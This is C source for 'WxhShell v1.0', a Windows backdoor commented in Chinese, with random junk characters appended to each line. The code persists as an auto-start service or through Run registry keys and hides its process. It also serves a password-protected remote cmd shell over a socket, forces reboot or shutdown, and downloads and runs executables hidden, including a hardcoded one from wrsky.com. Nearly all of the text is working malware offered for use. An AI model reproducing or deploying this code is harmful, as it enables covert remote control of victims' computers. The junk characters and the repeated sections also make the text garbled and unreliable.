    if(Boot(SHUTDOWN)) _|reo6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H <41H;m  
    else { ewHk (ru  
    closesocket(wsh); %^tKt  
    ExitThread(0); wb~B Y  
    } Hc^q_{}"  
    break; l =~EweuM  
    } 5<ZE.'O  
  // 获取shell &{E1w<uv  
  case 's': { y"6;O0  
    CmdShell(wsh); x6Zhw9RV  
    closesocket(wsh); v&Xsyb0CaM  
    ExitThread(0); "=<T8M  
    break; LG3D3{H(.  
  } j=b?WNK  
  // 退出 8AL`<8$  
  case 'x': { /vC|_G|{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {2"8^;  
    CloseIt(wsh); J=?`~?Vbo  
    break; 7u7`z%  
    } 1;8=,&  
  // 离开 D! TFb E  
  case 'q': { r ,I';vm<`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *UBukn  
    closesocket(wsh); RlW0U-%u  
    WSACleanup(); ]e`&py E  
    exit(1); C#<b7iMg  
    break; 8Ld{Xg  
        } }#%3y&7M7  
  } A$d)xq-]K  
  } &%eWCe+ +  
Wk<heF  
  // 提示信息 Xc8r[dX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lv;% z  
} b)ytm=7ha  
  } ^#-d^ )f;  
*UL++/f  
  return; _v=S4A#tF  
} k*XI/k5Vc  
b,C2(?hg  
// shell模块句柄 O_=2{k~s0  
int CmdShell(SOCKET sock) 24{Tl q3  
{ 2IMU &  
STARTUPINFO si; Aw?i6d  
ZeroMemory(&si,sizeof(si)); $~)BO_;o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'k^d-Mh>h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U)CGRh8%+  
PROCESS_INFORMATION ProcessInfo; U'4j+vUc  
char cmdline[]="cmd"; {"kE u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y=G9|7*lO  
  return 0; .M(')$\U  
} >- S?rXO  
H(|n,c  
// 自身启动模式 v9*ugu[K9  
int StartFromService(void) o,qq*}=  
{ P}"=67$  
typedef struct hSAdD!  
{ <O<Kf:i&c1  
  DWORD ExitStatus; |h^[/  
  DWORD PebBaseAddress; vbA<=V*P  
  DWORD AffinityMask; Kd='l~rby  
  DWORD BasePriority; "Y'MuV'x  
  ULONG UniqueProcessId; 5;v_?M!UCK  
  ULONG InheritedFromUniqueProcessId; nR %ey"  
}   PROCESS_BASIC_INFORMATION; J[|4`GT  
,gO}H)v]t  
PROCNTQSIP NtQueryInformationProcess; Fh8 8DDJ  
L i g7Ac,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zv%]j0 ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O$eNG$7  
\_v jc]?  
  HANDLE             hProcess; a7Mn/ i.  
  PROCESS_BASIC_INFORMATION pbi; "FD`1  
7C;oMh5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ra^0  
  if(NULL == hInst ) return 0; 1>yh`Bp\=  
zG\& ZU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5S9i>B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kh4., \'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e:9s%|]T  
^uiQZ%;  
  if (!NtQueryInformationProcess) return 0; KIRCye  
H|\@[:A+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F o k%  
  if(!hProcess) return 0; 1  b&<De  
yf4I<v$y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k3PFCl~e  
+x!Hc  
  CloseHandle(hProcess); %[cZ,F=  
C(%b!Q,2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H^3f!\MC;o  
if(hProcess==NULL) return 0; AT6o~u!WU  
\k4em{K  
HMODULE hMod; r5,V-5b  
char procName[255]; ohJo1}{  
unsigned long cbNeeded; !eu\ShI  
!{1;wC(b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sj'Iz #  
d6+$[4w  
  CloseHandle(hProcess); 2RbK##`vC  
WrHY'  
if(strstr(procName,"services")) return 1; // 以服务启动 AAXlBY6Y-  
fzdWM:g  
  return 0; // 注册表启动 eIDrN%3  
} Xi~7pH  
H*H~~yQ  
// 主模块 ;!hwcOkX  
int StartWxhshell(LPSTR lpCmdLine) {{r.?m#{  
{ )Fsc0_  
  SOCKET wsl; Te6cw+6  
BOOL val=TRUE; 39qIoaHT  
  int port=0; ;;|o+4Ob;  
  struct sockaddr_in door; $ucDz f=o  
PyoIhe&ep  
  if(wscfg.ws_autoins) Install(); H/2dVUU  
| LX Vf  
port=atoi(lpCmdLine); ]?7q%7-e.a  
%y{'p:  
if(port<=0) port=wscfg.ws_port; Q2>o+G  
Nov)'2g7G  
  WSADATA data; Cut7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \1He9~6  
Y'^+ KU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XiL[1JM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ID]E3K  
  door.sin_family = AF_INET; vbh 5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L9$`zc  
  door.sin_port = htons(port); [xdi.6 %  
|}o6N5)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cx ~XG  
closesocket(wsl); cC*H.N  
return 1; Fhrj$  
} &J\<"3  
FeT| Fh:L  
  if(listen(wsl,2) == INVALID_SOCKET) { M <nH  
closesocket(wsl); 50CjH"3PZ`  
return 1; 6b1AIs8  
} b OolBKV  
  Wxhshell(wsl); :V0sKg|sS  
  WSACleanup(); ES)@iM?5  
]7{ e~U  
return 0; bo-L|R&O  
der\"?_.  
} 2b/Cs#-  
K=Z.<f  
// 以NT服务方式启动 O)!S[5YI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5c\dm  
{ `]=0oDG:1!  
DWORD   status = 0; 1)#dgsa  
  DWORD   specificError = 0xfffffff; b~*CJ8Ad  
[X 9zrGHt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "s.hO0Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Y4Wm?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z,oCkv("n  
  serviceStatus.dwWin32ExitCode     = 0; I8/tD|3  
  serviceStatus.dwServiceSpecificExitCode = 0; c2u*<x  
  serviceStatus.dwCheckPoint       = 0; {G+iobQdd  
  serviceStatus.dwWaitHint       = 0; /5Sd?pW;  
[(2XL"4D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Bym?  
  if (hServiceStatusHandle==0) return; 1+#E|YWJ  
N;v]ypak  
status = GetLastError(); 9>@Vk vpY  
  if (status!=NO_ERROR) R2A#2{+H  
{ X4<Y5?&0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {TZV^gT4  
    serviceStatus.dwCheckPoint       = 0; DB+oCE<.#  
    serviceStatus.dwWaitHint       = 0; bao"iv~z  
    serviceStatus.dwWin32ExitCode     = status; FeNNzV=  
    serviceStatus.dwServiceSpecificExitCode = specificError; qfX26<q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =gB8(1g8  
    return; >9NC2%61S  
  } "&/lF[q  
@A|#/]S1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &~c`p[  
  serviceStatus.dwCheckPoint       = 0; F1t+D)KA>  
  serviceStatus.dwWaitHint       = 0; )O2IEwPd.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #||D,[ _=+  
} Jflm-Hhsf  
z%1& t4$  
// 处理NT服务事件,比如:启动、停止 0DFVB%JdI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DKF` xuJP  
{ v_Hy:O}R  
switch(fdwControl) M0T z('~s  
{ h'+F'1=  
case SERVICE_CONTROL_STOP: 6rWb2b  
  serviceStatus.dwWin32ExitCode = 0; '6cXCO-_P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ";;!c.!^  
  serviceStatus.dwCheckPoint   = 0; of {K{(M7@  
  serviceStatus.dwWaitHint     = 0; "A> _U<Y  
  { \ B'AXv 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G +&pq  
  } e$Mvl=NYp\  
  return;  \EXa 9X2  
case SERVICE_CONTROL_PAUSE: qLPuKIF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V%B~ q`4  
  break; -Iis/Xw:  
case SERVICE_CONTROL_CONTINUE: y\ })C-&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gT(8.<h8  
  break; 8Wo!NG:V5  
case SERVICE_CONTROL_INTERROGATE: 1aZGt2;  
  break; D"2bgw  
}; +`iJ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ((&5F!+\-  
} CDPu(,^  
+i#s |kKs\  
// 标准应用程序主函数 }>EWF E`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hV+=hX<h  
{ M?AKJE j5  
qi ">AQpp  
// 获取操作系统版本 e<qfM&*  
OsIsNt=GetOsVer(); Ldj*{t `5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7X)4ec9H\  
==BOW\  
  // 从命令行安装 LpL$=9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8 C9ny}  
F B:nkUR`  
  // 下载执行文件 sm;kg=  
if(wscfg.ws_downexe) { H@u5&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i5=~tS  
  WinExec(wscfg.ws_filenam,SW_HIDE); |MOz> 1<a  
} ddN G :  
:>/6:c?atG  
if(!OsIsNt) { CYlS8j  
// 如果时win9x,隐藏进程并且设置为注册表启动 LJom+PxF$x  
HideProc(); *<[zG7+&[  
StartWxhshell(lpCmdLine); t 4VeXp6  
} 1=,y +Xpw  
else 7#c4.9b?  
  if(StartFromService()) hzU(XW  
  // 以服务方式启动 ExMd$`gW  
  StartServiceCtrlDispatcher(DispatchTable); B*Ey&DAV  
else Rt:^'Qi$!  
  // 普通方式启动 ];jp)P2o  
  StartWxhshell(lpCmdLine); O"/Sv'|H#  
IT)3Et@Y  
return 0; C#4_`4{  
} >q0%yh-  
IA{W-RRb  
cRuN;  
zWv0y8[d  
=========================================== ##} 7cFX  
A2;6Vz=z  
G')zDx  
}'faf{W  
Yg,;l-1  
,<'>j a C  
" 74a@/'WbE  
oam;hmw  
#include <stdio.h> ky-nP8L}  
#include <string.h> 9e c},~(  
#include <windows.h> =R~zD4{"  
#include <winsock2.h> 4 R(m$!E!  
#include <winsvc.h> HTv#2WX  
#include <urlmon.h> #0hqfs  
qE|syA9  
#pragma comment (lib, "Ws2_32.lib") 6Ol9P56j  
#pragma comment (lib, "urlmon.lib") 2P)O 0j\/  
X:I2wJDs\  
#define MAX_USER   100 // 最大客户端连接数 kN78j  
#define BUF_SOCK   200 // sock buffer f0j]!g  
#define KEY_BUFF   255 // 输入 buffer "*.N'J\  
}r!+wp   
#define REBOOT     0   // 重启 t=xEUOQAn  
#define SHUTDOWN   1   // 关机 #9Jr?K43  
n>R(e>  
#define DEF_PORT   5000 // 监听端口 ggiy{CdR  
U4^c{KWS  
#define REG_LEN     16   // 注册表键长度 tXH;4K@  
#define SVC_LEN     80   // NT服务名长度 lixM0  
cJv/)hRaz  
// 从dll定义API {=?(v`88  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *coUHbP9>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AWYlhH4c?t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >;' 0ymG.`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SOOJqC  
{wsJ1 v8!  
// wxhshell配置信息 =*jFaj  
struct WSCFG { ""XAUxo  
  int ws_port;         // 监听端口 ,a,2I  
  char ws_passstr[REG_LEN]; // 口令 )5LT!14  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6_])(F3+w.  
  char ws_regname[REG_LEN]; // 注册表键名 y(MB _B7j  
  char ws_svcname[REG_LEN]; // 服务名 N%xCyZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,ofE*Wt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'vZIAnB8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F]PsS(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DU$#tg}{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5h`LWA B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )\ceanS  
7=9>yba)^  
}; lZ.lf.{F  
TH'8^wf  
// default Wxhshell configuration [A/2 Ms  
struct WSCFG wscfg={DEF_PORT, RJzIzv99m  
    "xuhuanlingzhe", kHylg{i{"  
    1, #IZh}*$  
    "Wxhshell", r A(A$VR  
    "Wxhshell", 5cinI^x)f  
            "WxhShell Service", M TZCI}  
    "Wrsky Windows CmdShell Service", Z#-N$%^F  
    "Please Input Your Password: ", kx?Yin8K  
  1, MO0NNVVi%U  
  "http://www.wrsky.com/wxhshell.exe", Y`(Ri-U4  
  "Wxhshell.exe" u*;H$&  
    }; -` ViuDX=  
y|KQ`;  
// 消息定义模块 h=gtuaR4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8K-P]]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k]5tU\;Yw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;"x+V gS'  
char *msg_ws_ext="\n\rExit."; E V)H>kM  
char *msg_ws_end="\n\rQuit."; l^nvwm`f#:  
char *msg_ws_boot="\n\rReboot..."; mV`R'*1UC  
char *msg_ws_poff="\n\rShutdown..."; H"8B4~*7H  
char *msg_ws_down="\n\rSave to "; tEvDAI} 5  
7~XA92  
char *msg_ws_err="\n\rErr!"; vm_]X{80;  
char *msg_ws_ok="\n\rOK!"; W/xPVmnV  
S-q"'5>  
char ExeFile[MAX_PATH]; t#|R"Q#  
int nUser = 0; CvE^t#Bok  
HANDLE handles[MAX_USER]; *c[w9(fU  
int OsIsNt; <tF q^qB  
(,#m+  
SERVICE_STATUS       serviceStatus; a;Y:UwD9*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &RARK8 ^  
g^(gT  
// 函数声明 c{I]!y^!  
int Install(void); Cm)TFh6  
int Uninstall(void); n19A>,m  
int DownloadFile(char *sURL, SOCKET wsh); GHd1?$  
int Boot(int flag); ^ExuIe  
void HideProc(void); hE5?G;  
int GetOsVer(void); } SW p~3P  
int Wxhshell(SOCKET wsl); 5~?6]=hl  
void TalkWithClient(void *cs); $j\>T@  
int CmdShell(SOCKET sock); QrK%DN  
int StartFromService(void); B os`+Y  
int StartWxhshell(LPSTR lpCmdLine); x4c|/}\)*  
aYT!xdCI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~LpkA`Hn!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \DS*G7.A+&  
g:)iEw>a  
// 数据结构和表定义 LX7P?j  
SERVICE_TABLE_ENTRY DispatchTable[] = |~ fI=1;;x  
{ qS @3:R  
{wscfg.ws_svcname, NTServiceMain}, tm.60udbo  
{NULL, NULL} {{Ox%Zm  
}; mu{C>w_Rz  
(~N?kh:  
// 自我安装 S,6/X.QBv  
int Install(void) zgEN2d  
{ 0 a{hCx|$J  
  char svExeFile[MAX_PATH]; 7`J2/(  
  HKEY key; *cXq=/s  
  strcpy(svExeFile,ExeFile); ZBpcC0 z  
5H XF3  
// 如果是win9x系统,修改注册表设为自启动 vRC >=y*=  
if(!OsIsNt) { &lSNI5l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,4t6Cq!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s0;a j<J  
  RegCloseKey(key); InbB2l4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UzaAL9k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gR# k'   
  RegCloseKey(key); M9R'ONYAa  
  return 0; Eqz|eS*6  
    } (JlPe)Q5  
  } ]VKQm(,0  
} Ut\:jV=f  
else { A/I\MN|  
0l[52eZ/  
// 如果是NT以上系统,安装为系统服务 HL4=P,'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3pvqF,"~D  
if (schSCManager!=0)  FNH)wk  
{ nL=+`aq_  
  SC_HANDLE schService = CreateService Yft [)id  
  ( C}mhnU@  
  schSCManager, ,H+Y1N4W(  
  wscfg.ws_svcname, U[x$QG6m!  
  wscfg.ws_svcdisp, 4%~*}  
  SERVICE_ALL_ACCESS, >4luZnWMI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XN Uw  
  SERVICE_AUTO_START, i,<'AL )  
  SERVICE_ERROR_NORMAL, Itr 4 Pr  
  svExeFile, 9&f+I@K  
  NULL, CdRJ@Lf  
  NULL, ?s$d("~  
  NULL, GxD`M2  
  NULL, #;ObugY,  
  NULL {f-O~P<Z4  
  ); W%>T{}4  
  if (schService!=0) mA$y$73=T  
  { ?j/FYi  
  CloseServiceHandle(schService); )m;*d7l~p  
  CloseServiceHandle(schSCManager); $+GDPYm'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u*2?Gky  
  strcat(svExeFile,wscfg.ws_svcname); zO"De~[9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v(yJGEf0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "JSIn"/  
  RegCloseKey(key); ,M{G X  
  return 0; g@!U^mr*3  
    } <`pNdy4  
  } IxuK<Oe:O  
  CloseServiceHandle(schSCManager); rIFW1`N}i  
} o!+%|V8Y  
} D(']k?  
bKsjbYuo  
return 1; a`xAk ^w+  
} O$6&4p*F.  
!hq*WtIk  
// 自我卸载 bVU4H$k  
int Uninstall(void) D#1R$4M=  
{ Og%Y._  
  HKEY key; &j1-Ouy  
J1I,;WGf  
if(!OsIsNt) { _"@:+f,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Up?RN%gq  
  RegDeleteValue(key,wscfg.ws_regname); tWy.Gz\  
  RegCloseKey(key); pt.V^a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [nig^8  
  RegDeleteValue(key,wscfg.ws_regname); ?} 8r h%  
  RegCloseKey(key); Jg=!GU/::  
  return 0; "!zJQl@  
  } [yN+(^ i  
} ./XX  
} SZe55mK`  
else { ;@qS#7SRB  
>Vt2@Ee  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k/{WlLN  
if (schSCManager!=0) \7b, Mz!  
{ [k%hl`}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wj,s/Yr:  
  if (schService!=0) R&Nl!QTJj  
  { H@@ 4n%MK  
  if(DeleteService(schService)!=0) { \B~ g5}=  
  CloseServiceHandle(schService); 7u&l]NC?y  
  CloseServiceHandle(schSCManager); f:+/= MW  
  return 0; uc+{<E3,%  
  } q]OIP"yv  
  CloseServiceHandle(schService); >R]M:Wx  
  } V4jMx[   
  CloseServiceHandle(schSCManager);  cX C[O  
} GgY8\>u  
} #fa,}aj  
;GG,Z#\m  
return 1; c|.te]!ds  
} rmA?Xlh\  
d*{Cv2A.  
// 从指定url下载文件 <!RkkU& 6  
int DownloadFile(char *sURL, SOCKET wsh) 7uc\AhOk6  
{ KX9IC 5pR  
  HRESULT hr; 7mYcO3{5{  
char seps[]= "/"; +^(_S9CO  
char *token; RD[P|4eY  
char *file; J.h` 0$!  
char myURL[MAX_PATH]; /gF)msUF  
char myFILE[MAX_PATH]; ^OQP;5 #K  
2LUsqL\m}.  
strcpy(myURL,sURL); N2s"$Ttq  
  token=strtok(myURL,seps); }UsH#!9.  
  while(token!=NULL) %pq.fZ I   
  { G?$o+Y'F  
    file=token; ^L $`)Ja  
  token=strtok(NULL,seps); VnW6$W?g  
  } ~{lb`M^]h  
X <8|uP4  
GetCurrentDirectory(MAX_PATH,myFILE); I ==)a6^  
strcat(myFILE, "\\"); 'qT;Eht5  
strcat(myFILE, file); +Xw%X3o)  
  send(wsh,myFILE,strlen(myFILE),0); dQ{qA(m  
send(wsh,"...",3,0); C8|Ls(4Ck  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); + GQ{{B  
  if(hr==S_OK) $,by!w'e:l  
return 0; D%o(HS\E  
else x+4K,r;  
return 1; |x1OWm1:<  
t'eu>a1D  
} trrNu  
b>p_w%d[[J  
// 系统电源模块 -y!Dg6 A  
int Boot(int flag) :'Gn?dv|  
{ <jJ'T?,  
  HANDLE hToken; 05ClPT\BCr  
  TOKEN_PRIVILEGES tkp; [?7QmZK  
4dFr~ {  
  if(OsIsNt) { 79>x/jZka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Xp,|T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZPw4S2yw3.  
    tkp.PrivilegeCount = 1; c\o_U9=n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @>46.V{P}B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6w &<j&V  
if(flag==REBOOT) { Hb*Z_s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +3. 9)w  
  return 0; xwsl$Rj  
} agwbjkU/  
else { 7WmLC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H][TH2H1  
  return 0; wT!?.Y)aj  
} ku m@cA  
  } f3! Oc  
  else { xSN;vrLHR  
if(flag==REBOOT) { N~/X.D4e#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E8kD#tL  
  return 0; IIY_Q9in  
} Ag0w8F  
else { V z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qc*p+N+$  
  return 0; !b!An; ',  
} BTr oe=R  
} bTeuOpp  
I(VqtC:K.  
return 1; axC{azo|  
} hJ8&OCR }  
7hn[i,?` H  
// win9x进程隐藏模块 7#"NKxb  
void HideProc(void) r&R~a9+)  
{ )R `d x  
83vZRQw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .CEC g*f  
  if ( hKernel != NULL ) I_f%%N%  
  { Zex~ $r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cG0)F%?X?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^NU_Tp:2^  
    FreeLibrary(hKernel); \,NT5>  
  } ]p+KN>1e  
-n"f>c_{>  
return; aoW2c1`?Z  
} 3"Oipt+  
STu(I\9  
// 获取操作系统版本 JzywSQ  
int GetOsVer(void) }*!L~B!  
{ QyTN  V  
  OSVERSIONINFO winfo; -ABj>y[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U*K4qJ6U  
  GetVersionEx(&winfo); )( 3)^/Xz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t9<BQg  
  return 1; *.w6 =}  
  else 1 M!4hM Q  
  return 0; f 1SKOq  
} O2Y|<m  
oVk!C a  
// 客户端句柄模块  Yf[Cmn  
int Wxhshell(SOCKET wsl) $G0e1)D  
{ %9zpPr WF  
  SOCKET wsh; DmgDhNXKq  
  struct sockaddr_in client; lv] U)p  
  DWORD myID; .=}\yYGe   
{@Lun6\  
  while(nUser<MAX_USER) +~F>:v?Rh  
{ DHn\ =M  
  int nSize=sizeof(client); w;$elXP|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dAG@'A\f  
  if(wsh==INVALID_SOCKET) return 1; a{7*um  
+ rB3\R"d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p Cx_[#DrP  
if(handles[nUser]==0) EK>x\]O%T  
  closesocket(wsh); `>KNa"b%$  
else &'e+`\  
  nUser++; aO |@w"p8  
  } =4x6v<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \``w>Xy8  
F ',1R"/}  
  return 0; PQ!'<  
} \l0!si  
h] )&mFiE"  
// 关闭 socket &/' O?HWl  
void CloseIt(SOCKET wsh) >9nVR  
{ of7'?]w  
closesocket(wsh); &Pv$nMB$I  
nUser--; ^K[xVB(&  
ExitThread(0); ]Y?ZUSCJ  
} -|#/KKF  
JK{2 hr_a  
// 客户端请求句柄 #bGYHN  
void TalkWithClient(void *cs) )qX.!&|I  
{ lgt&kdc%o  
&9v8  
  SOCKET wsh=(SOCKET)cs;  !N\_D  
  char pwd[SVC_LEN]; cc=_KYZ1k  
  char cmd[KEY_BUFF]; -2laM9Ed  
char chr[1]; }<2|6 {  
int i,j; v^/<2/E"?4  
4Z{R36 {  
  while (nUser < MAX_USER) { ?zsRs?rc0  
3:sc%IDP  
if(wscfg.ws_passstr) { 1A;,"8kBd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XH0Vs.w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c;29GHs2  
  //ZeroMemory(pwd,KEY_BUFF); #WDpiV7B  
      i=0; ;gaTSYVe  
  while(i<SVC_LEN) { -1d$w`  
KIuj;|!q  
  // 设置超时 k%-y \WM  
  fd_set FdRead; "7(@I^'t6  
  struct timeval TimeOut; 0:`YY 8j1k  
  FD_ZERO(&FdRead); es69P)  
  FD_SET(wsh,&FdRead); w5-^Py  
  TimeOut.tv_sec=8; jfvlkE-uK  
  TimeOut.tv_usec=0; P-^-~/>n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lo[;{A$u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ='Oxy  
(Ww SisC~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 92,@tNQQ}  
  pwd=chr[0]; (ux9"r^g;x  
  if(chr[0]==0xd || chr[0]==0xa) { ga1b%5]v.  
  pwd=0; ZS3T1 <z  
  break; o+^e+ptc  
  } +N~{6*@uz,  
  i++;  ^LSD_R^N  
    } %0815 5M  
<T'fJcR  
  // 如果是非法用户,关闭 socket b5|l8<\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [m x}n+~  
} - 3<&sTR  
rw@N=`4P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); geM`O|Np  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^xzaF  
oe9S$C;$'  
while(1) { =AHV{V~  
E}36  
  ZeroMemory(cmd,KEY_BUFF); YSZ[~?+  
oqK: 5|  
      // 自动支持客户端 telnet标准   ``Um$i~e%  
  j=0; Ex}TDmTu  
  while(j<KEY_BUFF) { u0uz~ s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3WfZzb+  
  cmd[j]=chr[0]; Y8mv[+Z  
  if(chr[0]==0xa || chr[0]==0xd) {  >qI:  
  cmd[j]=0; 2<2a3'pG  
  break; Np~qtR  
  } h^ K>(x  
  j++; m|Z[8Tup  
    } Df1eHa5-7  
zcEpywNP  
  // 下载文件 </fTn_{2s8  
  if(strstr(cmd,"http://")) { <PO-S\N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1-!|_<EW1  
  if(DownloadFile(cmd,wsh)) kl&_O8E+K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a  ?wg~|g  
  else 9FT==>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3fop.%(  
  } H/G;hk  
  else { &)~LGWBdC  
xA}{ZnTbN  
